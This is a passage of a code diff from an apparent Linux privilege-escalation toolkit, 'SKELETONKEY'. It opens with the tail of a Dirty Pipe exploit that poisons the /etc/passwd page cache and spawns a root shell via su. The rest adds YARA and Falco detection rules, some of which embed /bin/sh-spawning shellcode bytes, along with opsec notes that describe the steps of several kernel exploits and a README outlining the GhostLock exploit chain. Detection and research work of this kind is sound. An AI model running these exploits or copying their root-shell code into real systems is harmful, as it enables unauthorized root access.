* `su` reads the page cache, sees uid 0, drops a root shell. */
|
||||
fprintf(stderr, "[+] dirty_pipe: page cache poisoned; spawning su to claim root\n");
|
||||
fflush(NULL);
|
||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
||||
/* If execlp returns, su didn't actually pop root — revert and report. */
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] dirty_pipe: no root artifact — honest EXPLOIT_FAIL "
|
||||
"(page cache reverted). The primitive may be blocked, or su/PAM "
|
||||
"rejected the injected hash.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_pipe: reverting /etc/passwd page cache + removing artifacts\n");
|
||||
dp_revert(); /* idempotent; no root / no drop_caches needed */
|
||||
if (system("rm -f /tmp/.sk-dirtypipe-*.proof /tmp/.sk-dirtypipe-*.rootbash 2>/dev/null") != 0) {
|
||||
/* harmless */
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
@@ -460,6 +541,39 @@ static const char dirty_pipe_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||
|
||||
static const char dirty_pipe_yara[] =
|
||||
"rule dirty_pipe_passwd_uid_flip : cve_2022_0847 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0847\"\n"
|
||||
" description = \"Dirty Pipe (CVE-2022-0847): /etc/passwd page-cache UID flip — non-root username remapped to UID 0000+. Scan /etc/passwd directly; legitimate root entries use '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_pipe_falco[] =
|
||||
"- rule: Dirty Pipe splice from setuid/sensitive file by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls splice() with a fd pointing at a\n"
|
||||
" setuid-root binary or a credential file. The Dirty Pipe\n"
|
||||
" primitive (CVE-2022-0847) splices 1 byte from the target to\n"
|
||||
" a prepared pipe to inherit the stale PIPE_BUF_FLAG_CAN_MERGE,\n"
|
||||
" then writes attacker bytes that land in the file's page cache.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = splice and not user.uid = 0 and\n"
|
||||
" (fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers)\n"
|
||||
" or fd.name startswith /usr/bin/su\n"
|
||||
" or fd.name startswith /usr/bin/passwd\n"
|
||||
" or fd.name startswith /bin/su)\n"
|
||||
" output: >\n"
|
||||
" Dirty Pipe-style splice from sensitive file by non-root\n"
|
||||
" (user=%user.name proc=%proc.name fd=%fd.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0847]\n";
|
||||
|
||||
static const char dirty_pipe_sigma[] =
|
||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||
@@ -487,8 +601,10 @@ const struct skeletonkey_module dirty_pipe_module = {
|
||||
.cleanup = dirty_pipe_cleanup,
|
||||
.detect_auditd = dirty_pipe_auditd,
|
||||
.detect_sigma = dirty_pipe_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dirty_pipe_yara,
|
||||
.detect_falco = dirty_pipe_falco,
|
||||
.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; splice(1 byte) from (target_offset-1) on /etc/passwd to inherit the stale flag, then write(pipe) so the payload merges into the file's page cache. Overwrites root's password field with a known crypt hash (clobbers into following lines transiently), authenticates as root over a pty via su, plants a root-owned proof + setuid bash under /tmp, then reverts the page cache by writing the original bytes back through the same primitive (no root / no drop_caches needed — nothing persists; Dirty Pipe never wrote disk). Offset must be non-page-aligned and each write must fit a single page. Very audit-visible: splice(fd=/etc/passwd) + write from a non-root process, then su spawning as root. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to confirm the primitive. cleanup() re-reverts idempotently and removes the /tmp artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirty_pipe(void)
|
||||
|
||||
@@ -667,13 +667,18 @@ static int dd_active_probe(void)
|
||||
* RESPONSE authenticator length check"), shipped in Linux 7.0.
|
||||
*
|
||||
* The detect logic therefore is:
|
||||
* - kernel < 7.0 → SKELETONKEY_OK (predates the bug)
|
||||
* - kernel ≥ 7.0 → consult kernel_range; 7.0+ has the fix
|
||||
* - --active → empirical override (catches pre-fix 7.0-rc kernels
|
||||
* or weird distro rebuilds the version check missed)
|
||||
* - kernel < 6.16.1 → SKELETONKEY_OK (predates the rxgk RESPONSE bug)
|
||||
* - kernel in range → consult kernel_range for backport coverage
|
||||
* - --active → empirical override
|
||||
*
|
||||
* Per NVD CVE-2026-31635: bug introduced in 6.16.1 stable; vulnerable
|
||||
* range is 6.16.1–6.18.22 + 6.19.0–6.19.12 + 7.0-rc1..rc7. Fixed at
|
||||
* 6.18.23 backport, 6.19.13 backport, 7.0 stable.
|
||||
*/
|
||||
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
|
||||
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
|
||||
{6, 18, 23}, /* 6.18.x stable backport */
|
||||
{6, 19, 13}, /* 6.19.x stable backport (per Debian tracker — forky/sid) */
|
||||
{7, 0, 0}, /* mainline fix landed before 7.0 stable */
|
||||
};
|
||||
static const struct kernel_range dirtydecrypt_range = {
|
||||
.patched_from = dirtydecrypt_patched_branches,
|
||||
@@ -696,11 +701,12 @@ static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
|
||||
/* Predates the bug: rxgk RESPONSE-handling bug entered at 6.16.1
|
||||
* stable per NVD. Earlier 6.x kernels don't have the buggy code. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 16, 1)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
|
||||
"RESPONSE-handling code added in 7.0 — not applicable\n",
|
||||
"RESPONSE bug introduced in 6.16.1 — not applicable\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -921,6 +927,55 @@ static const char dd_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice\n";
|
||||
|
||||
static const char dd_yara[] =
|
||||
"rule dirtydecrypt_payload_overlay : cve_2026_31635 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31635\"\n"
|
||||
" description = \"DirtyDecrypt payload: the 120-byte ET_DYN x86_64 ELF the public V12 PoC overlays onto the first bytes of a setuid binary's page cache. Scan setuid-root binaries (/usr/bin/su etc.); legitimate binaries are much larger and never start with this exact shellcode.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://github.com/v12-security/pocs/tree/main/dirtydecrypt\"\n"
|
||||
" strings:\n"
|
||||
" // First 28 bytes of the embedded tiny_elf[] payload.\n"
|
||||
" $payload_head = { 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 03 00 3E 00 01 00 00 00 68 00 00 00 }\n"
|
||||
" // The setuid(0)+execve(/bin/sh) tail at offset 104 of the payload.\n"
|
||||
" $shellcode = { B0 69 0F 05 48 8D 3D DD FF FF FF 6A 3B 58 0F 05 }\n"
|
||||
" $sh = \"/bin/sh\"\n"
|
||||
" condition:\n"
|
||||
" // Setuid binaries are at minimum a few KB; the payload is\n"
|
||||
" // 120 bytes overlaid at offset 0 so the rest of the file\n"
|
||||
" // remains the original binary content (or padding).\n"
|
||||
" $payload_head at 0 and $shellcode and $sh and filesize > 4096\n"
|
||||
"}\n";
|
||||
|
||||
static const char dd_falco[] =
|
||||
"- rule: AF_RXRPC socket created by non-root (DirtyDecrypt primitive)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process creates an AF_RXRPC socket. AF_RXRPC is the\n"
|
||||
" family the DirtyDecrypt (CVE-2026-31635) primitive needs to\n"
|
||||
" trigger the rxgk in-place decrypt. Most production hosts do\n"
|
||||
" not use AF_RXRPC at all (it's AFS-flavoured); a non-root\n"
|
||||
" open here is highly suspicious.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg[0] = 33 and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_RXRPC socket() by non-root (user=%user.name proc=%proc.name\n"
|
||||
" pid=%proc.pid parent=%proc.pname)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.31635]\n"
|
||||
"\n"
|
||||
"- rule: rxrpc security key added (DirtyDecrypt handshake setup)\n"
|
||||
" desc: |\n"
|
||||
" add_key(\"rxrpc\", …) by a non-root process — the DirtyDecrypt\n"
|
||||
" PoC adds an rxrpc-typed key carrying a forged rxgk XDR token\n"
|
||||
" for each fire() of the page-cache write primitive.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = add_key and evt.arg[0] contains \"rxrpc\" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" rxrpc add_key by non-root (user=%user.name proc=%proc.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.31635]\n";
|
||||
|
||||
static const char dd_sigma[] =
|
||||
"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
|
||||
"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
|
||||
@@ -953,8 +1008,10 @@ const struct skeletonkey_module dirtydecrypt_module = {
|
||||
.cleanup = dd_cleanup,
|
||||
.detect_auditd = dd_auditd,
|
||||
.detect_sigma = dd_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dd_yara,
|
||||
.detect_falco = dd_falco,
|
||||
.opsec_notes = "Forked child runs unshare(CLONE_NEWUSER|CLONE_NEWNET); creates AF_RXRPC socket; builds an rxgk XDR token via add_key(SYS_add_key, 'rxrpc'); sets up loopback UDP server + rxrpc client; forges rxrpc DATA packets and fires 10000+ splice-based writes in a sliding window to overwrite a target setuid binary's page cache with a 120-byte ET_DYN ELF (setuid(0) + execve('/bin/sh')). Payload is never written to disk. Audit-visible via socket(AF_RXRPC) (a0=33) + add_key('rxrpc') + splice() bursts. Records target path to /tmp/skeletonkey-dirtydecrypt.target. Cleanup callback evicts candidate targets (/usr/bin/su et al) via drop_caches.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirtydecrypt(void)
|
||||
|
||||
@@ -32,6 +32,7 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
@@ -108,40 +109,33 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset)
|
||||
return (unsigned long)best_base;
|
||||
}
|
||||
|
||||
static int read_first_line(const char *path, char *out, size_t n)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return -1;
|
||||
if (!fgets(out, n, f)) { fclose(f); return -1; }
|
||||
fclose(f);
|
||||
/* trim trailing newline */
|
||||
size_t L = strlen(out);
|
||||
while (L && (out[L-1] == '\n' || out[L-1] == '\r')) out[--L] = 0;
|
||||
return 0;
|
||||
}
|
||||
/* (read_first_line() removed — meltdown status now comes from
|
||||
* ctx->host->meltdown_mitigation, populated once at startup in
|
||||
* core/host.c. One file open across the corpus instead of per-detect.) */
|
||||
|
||||
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
||||
* (= EntryBleed-applicable). "Not affected" means a hardened CPU
|
||||
* (very recent Intel + most AMD = no KPTI = no EntryBleed). */
|
||||
char buf[256];
|
||||
int rc = read_first_line(
|
||||
"/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf);
|
||||
if (rc < 0) {
|
||||
/* KPTI status comes from the shared host fingerprint
|
||||
* (ctx->host->meltdown_mitigation) — populated once at startup by
|
||||
* reading /sys/devices/system/cpu/vulnerabilities/meltdown. The
|
||||
* raw string is preserved (not just the kpti_enabled bool) so we
|
||||
* can distinguish "Not affected" (CPU immune; OK) from
|
||||
* "Mitigation: PTI" / "Vulnerable" (KPTI on; vulnerable to
|
||||
* EntryBleed) without re-reading sysfs. */
|
||||
const char *meltdown = ctx->host ? ctx->host->meltdown_mitigation : "";
|
||||
if (meltdown[0] == '\0') {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
||||
fprintf(stderr, "[?] entrybleed: meltdown vuln status unknown — "
|
||||
"assuming KPTI on (conservative)\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", meltdown);
|
||||
}
|
||||
|
||||
/* "Not affected" → CPU is Meltdown-immune → no KPTI → no EntryBleed */
|
||||
if (strstr(buf, "Not affected") != NULL) {
|
||||
if (strstr(meltdown, "Not affected") != NULL) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
||||
"EntryBleed N/A\n");
|
||||
@@ -294,6 +288,8 @@ const struct skeletonkey_module entrybleed_module = {
|
||||
.detect_sigma = entrybleed_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.opsec_notes = "Pure timing side-channel: rdtsc + prefetchnta sweep across the kernel high-half (~16 MiB) to time which 2 MiB page is mapped (entry_SYSCALL_64) and subtract its known offset from kbase. No syscalls fired, no file artifacts, no network. Classic auditd cannot see it; perf-counter EDR can flag a process spending unusual time in tight prefetchnta loops but classic rules will not. No cleanup needed.",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_entrybleed(void)
|
||||
|
||||
@@ -903,11 +903,26 @@ static int fg_active_probe(void)
|
||||
* - --active → empirical override (catches distro silent
|
||||
* backports and unfixed 7.0.x ≤ 7.0.8)
|
||||
*
|
||||
* Stable-branch backports for 5.10 / 6.1 / 6.12 — when they ship —
|
||||
* extend the table with the matching {major, minor, patch} entry.
|
||||
* Per NVD CVE-2026-46300 (queried 2026-05-28): SKBFL_SHARED_FRAG was
|
||||
* introduced at 5.11; the marker-propagation bug is present 5.11+. The
|
||||
* fix was backported across every active stable branch:
|
||||
*
|
||||
* 5.15-LTS: vulnerable 5.15.0–5.15.207, fixed 5.15.208+
|
||||
* 6.1-LTS: vulnerable 5.16.0–6.1.173, fixed 6.1.174+
|
||||
* 6.6-LTS: vulnerable 6.2.0–6.6.140, fixed 6.6.141+
|
||||
* 6.12-LTS: vulnerable 6.7.0–6.12.90, fixed 6.12.91+
|
||||
* 6.18-LTS: vulnerable 6.13.0–6.18.32, fixed 6.18.33+
|
||||
* 7.0: vulnerable 6.19.0–7.0.9, fixed 7.0.10+
|
||||
* 7.1-rcN: still vulnerable (rc1..rc4 at time of writing)
|
||||
*/
|
||||
static const struct kernel_patched_from fragnesia_patched_branches[] = {
|
||||
{7, 0, 9}, /* mainline + 7.0.x stable: fix lands at 7.0.9 */
|
||||
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye ships .257 with fix) */
|
||||
{5, 15, 208}, /* 5.15-LTS backport */
|
||||
{6, 1, 174}, /* 6.1-LTS backport */
|
||||
{6, 6, 141}, /* 6.6-LTS backport */
|
||||
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie ships .90 with fix) */
|
||||
{6, 18, 33}, /* 6.18-LTS backport */
|
||||
{7, 0, 9}, /* 7.0 stable (Debian forky/sid ship .9 with backported fix) */
|
||||
};
|
||||
static const struct kernel_range fragnesia_range = {
|
||||
.patched_from = fragnesia_patched_branches,
|
||||
@@ -930,6 +945,17 @@ static skeletonkey_result_t fg_detect(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Predates the bug: SKBFL_SHARED_FRAG marker only exists from 5.11
|
||||
* onwards; older kernels don't have the buggy skb_try_coalesce()
|
||||
* code path. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 11, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] fragnesia: kernel %s predates the "
|
||||
"SKBFL_SHARED_FRAG marker added in 5.11 — not "
|
||||
"applicable\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] fragnesia: unprivileged user "
|
||||
@@ -1124,6 +1150,58 @@ static const char fg_auditd[] =
|
||||
"# splice() drives page-cache pages into the ESP-in-TCP stream\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice\n";
|
||||
|
||||
static const char fg_yara[] =
|
||||
"rule fragnesia_payload_overlay : cve_2026_46300 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-46300\"\n"
|
||||
" description = \"Fragnesia payload: the 192-byte ET_EXEC x86_64 ELF the public V12 PoC overlays onto the first bytes of /usr/bin/su (or sibling setuid binary). Detects post-fire page-cache contents via direct scan.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://github.com/v12-security/pocs/tree/main/fragnesia\"\n"
|
||||
" strings:\n"
|
||||
" // First 28 bytes of the embedded shell_elf[] payload.\n"
|
||||
" $payload_head = { 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 02 00 3E 00 01 00 00 00 78 00 40 00 }\n"
|
||||
" // The setuid+setgid+seteuid(0) prelude\n"
|
||||
" $shellcode_drop = { 31 FF 31 F6 31 C0 B0 6A 0F 05 B0 69 0F 05 B0 74 0F 05 }\n"
|
||||
" $sh = \"/bin/sh\"\n"
|
||||
" $term = \"TERM=xterm\"\n"
|
||||
" condition:\n"
|
||||
" $payload_head at 0 and $shellcode_drop and $sh and $term and filesize > 4096\n"
|
||||
"}\n";
|
||||
|
||||
static const char fg_falco[] =
|
||||
"- rule: TCP_ULP=espintcp set by non-root (Fragnesia trigger)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process flips a TCP socket into the espintcp ULP\n"
|
||||
" inside an unprivileged userns. Core of the Fragnesia\n"
|
||||
" (CVE-2026-46300) trigger — also the Dirty Frag ESP-in-TCP\n"
|
||||
" setup. Legitimate use of TCP_ULP=espintcp from non-root is\n"
|
||||
" essentially never seen in production.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and evt.arg.optname = TCP_ULP and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" Fragnesia-style TCP_ULP=espintcp by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.46300]\n"
|
||||
"\n"
|
||||
"- rule: ESP-in-TCP splice to crafted TCP connection (Fragnesia paged-frag write)\n"
|
||||
" desc: |\n"
|
||||
" splice() of a setuid binary's pages into a TCP socket whose\n"
|
||||
" peer is configured for espintcp. Fragnesia's sender path\n"
|
||||
" splices the carrier file (/usr/bin/su) into the loopback TCP\n"
|
||||
" flow to land the in-place decrypt on the carrier's page cache.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = splice and not user.uid = 0 and\n"
|
||||
" (fd.name startswith /usr/bin/su or fd.name startswith /bin/su\n"
|
||||
" or fd.name startswith /usr/bin/passwd)\n"
|
||||
" output: >\n"
|
||||
" splice() of setuid binary by non-root (user=%user.name\n"
|
||||
" proc=%proc.name fd=%fd.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [filesystem, cve.2026.46300]\n";
|
||||
|
||||
static const char fg_sigma[] =
|
||||
"title: Possible Fragnesia exploitation (CVE-2026-46300)\n"
|
||||
"id: 9b3d2e71-skeletonkey-fragnesia\n"
|
||||
@@ -1156,8 +1234,10 @@ const struct skeletonkey_module fragnesia_module = {
|
||||
.cleanup = fg_cleanup,
|
||||
.detect_auditd = fg_auditd,
|
||||
.detect_sigma = fg_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = fg_yara,
|
||||
.detect_falco = fg_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + socket(AF_ALG, SOCK_SEQPACKET) for an AES-GCM keystream table; NETLINK_XFRM setsockopt to install ESP-in-TCP state; TCP_ULP setsockopt on a loopback connection; splice() from a carrier setuid binary (/usr/bin/su or /bin/su) into the TCP socket. Artifacts: /tmp/skeletonkey-fragnesia-probe-XXXXXX (mkstemp, unlinked after probe) and /tmp/skeletonkey-fragnesia.target. Audit-visible via socket(AF_ALG) (38), NETLINK_XFRM (6) writes, TCP_ULP setsockopt, splice() of setuid binary. No external network (loopback). Cleanup callback unlinks /tmp files and evicts the carrier from page cache.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_fragnesia(void)
|
||||
|
||||
@@ -871,6 +871,36 @@ static const char fuse_legacy_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
|
||||
|
||||
static const char fuse_legacy_yara[] =
|
||||
"rule fuse_legacy_cve_2022_0185 : cve_2022_0185 kernel_overflow\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0185\"\n"
|
||||
" description = \"fs_context legacy_parse_param oversized-source pattern (fsopen cgroup2)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $fsopen = \"fsopen\" ascii\n"
|
||||
" $cgrp2 = \"cgroup2\" ascii\n"
|
||||
" condition:\n"
|
||||
" all of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char fuse_legacy_falco[] =
|
||||
"- rule: fsopen/fsconfig in userns (CVE-2022-0185 trigger)\n"
|
||||
" desc: |\n"
|
||||
" Non-root fsopen + fsconfig(FSCONFIG_SET_STRING) sequence\n"
|
||||
" inside a userns. legacy_parse_param() integer-underflow\n"
|
||||
" overflow into kmalloc-4k. False positives: containers may\n"
|
||||
" mount their own filesystems but FSCONFIG with oversized\n"
|
||||
" 'source' option strings is unusual.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (fsopen, fsconfig) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" fsopen/fsconfig by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid evt=%evt.type)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0185]\n";
|
||||
|
||||
const struct skeletonkey_module fuse_legacy_module = {
|
||||
.name = "fuse_legacy",
|
||||
.cve = "CVE-2022-0185",
|
||||
@@ -883,8 +913,10 @@ const struct skeletonkey_module fuse_legacy_module = {
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = fuse_legacy_auditd,
|
||||
.detect_sigma = fuse_legacy_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = fuse_legacy_yara,
|
||||
.detect_falco = fuse_legacy_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; fsopen('cgroup2') + multiple fsconfig(FSCONFIG_SET_STRING, 'source', ...) calls to overflow legacy_parse_param's buffer. OOB write lands in kmalloc-4k adjacent to a msg_msg groom. No persistent files (msg_msg lives in the IPC namespace which disappears with the child). Dmesg silent on success; KASAN would show slab corruption if enabled. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + fsopen + fsconfig pattern in a single process. No cleanup callback - IPC queues auto-drain on namespace exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_fuse_legacy(void)
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
# ghostlock — CVE-2026-43499
|
||||
|
||||
"GhostLock" — a race-condition use-after-free on **kernel stack** memory in
|
||||
the Linux rtmutex / futex requeue-PI code path (`kernel/locking/rtmutex.c`),
|
||||
reachable by **any unprivileged local user** (CVSS PR:L). No user namespace,
|
||||
no capability, no special `CONFIG` beyond `CONFIG_FUTEX_PI` (universally
|
||||
enabled). It has existed since PI-futex requeue landed — **~15 years, across
|
||||
every distribution** — which is what makes it remarkable.
|
||||
|
||||
## The bug
|
||||
|
||||
On the deadlock-rollback path, `remove_waiter()` operates on `current`
|
||||
instead of the actual waiter task while unwinding a proxy lock in
|
||||
`rt_mutex_start_proxy_lock()` — reached from `futex_requeue()`. If a
|
||||
concurrent PI-chain priority walk (driven from another CPU via
|
||||
`sched_setattr()`) runs at that instant, `pi_blocked_on` is cleared on the
|
||||
**wrong** task and an on-stack `struct rt_mutex_waiter` is left dangling in a
|
||||
task's waiter / pi tree. When the kernel later rotates that rbtree over the
|
||||
(now-reused) stack frame, the forged node fields become a controlled kernel
|
||||
write → use-after-free.
|
||||
|
||||
The public research + PoC ("IonStack part II: GhostLock", VEGA / Nebula
|
||||
Security) builds the requeue-PI cycle so `FUTEX_CMP_REQUEUE_PI` hits
|
||||
`-EDEADLK` (the rollback) while a sibling-core consumer thread hammers
|
||||
`sched_setattr(SCHED_BATCH)` on the waiter's tid to win the race. A separate
|
||||
full Android/Pixel LPE then forges the on-stack `rt_mutex_waiter` on a leaked
|
||||
kernel page (the "KernelSnitch" futex-bucket timing side channel), overwrites
|
||||
a `struct file` `f_op` → configfs/ashmem arbitrary R/W → pipe physical R/W →
|
||||
cred patch → root. ~**97% stable** on kernelCTF; Google awarded **$92,337**.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Introduced | PI-futex requeue — **2.6.39** (commit `8161239a8bcc`) |
|
||||
| Fixed upstream | commit `3bfdc63936dd` ("rtmutex: Use waiter::task instead of current in remove_waiter()") — merged **7.1-rc1** |
|
||||
| Stable backports | **7.0.4** · 6.18.27 · **6.12.86** (LTS) · **6.6.140** (LTS) · **6.1.175** (LTS) |
|
||||
| Affected, no upstream fix | **5.15.x / 5.10.x / 5.4.x / 4.19.x** (kernel CNA lists no stable fix) |
|
||||
| Not affected | < 2.6.39 (predates PI-futex requeue) |
|
||||
| NVD class | CWE-416 (Use After Free) via CWE-362 (race); CVSS 7.8, PR:L |
|
||||
| CISA KEV | no (brand new) |
|
||||
|
||||
The `kernel_range` table carries one entry per backported branch;
|
||||
`kernel_range_is_patched()` marks any branch strictly newer than all of them
|
||||
(7.1+) patched-via-mainline and everything below the on-branch threshold
|
||||
vulnerable — including the 5.x LTS lines that have no published fix. Extend
|
||||
the table as more branches backport (the drift checker flags them). Source:
|
||||
the Linux kernel CNA record (`git.kernel.org/stable/c/<hash>`), corroborated
|
||||
by the Debian / Ubuntu / SUSE trackers.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` is a **pure version gate** — no active probe, because there is no
|
||||
cheap, safe way to distinguish vulnerable from patched without winning the
|
||||
race. It returns `OK` below 2.6.39 or on a patched kernel, and `VULNERABLE`
|
||||
in range. `CONFIG_FUTEX_PI` is a (near-universal) precondition detect()
|
||||
**assumes** rather than probes; there is no userns / capability precondition
|
||||
(any local user — CVSS PR:L).
|
||||
|
||||
`exploit()` forks an isolated child and runs two phases:
|
||||
|
||||
- **(A) deterministic + safe** — builds the requeue-PI cycle (a waiter
|
||||
holding a "chain" PI-futex and parked in `FUTEX_WAIT_REQUEUE_PI`; an owner
|
||||
holding the "target" PI-futex and blocked on the chain) and fires
|
||||
`FUTEX_CMP_REQUEUE_PI`, confirming the kernel returns **-EDEADLK**. That
|
||||
proves the `remove_waiter()` rollback path — where the bug lives — is
|
||||
reachable here. Without a concurrent priority walk the rollback is the
|
||||
kernel's normal, correct deadlock rejection: it creates no dangling
|
||||
pointer, so this phase is safe on any kernel. *(Validated on real hardware:
|
||||
the cycle returns `-EDEADLK` deterministically.)*
|
||||
- **(B) hard-bounded window exercise** — repeats (A) a small, wall-clock-
|
||||
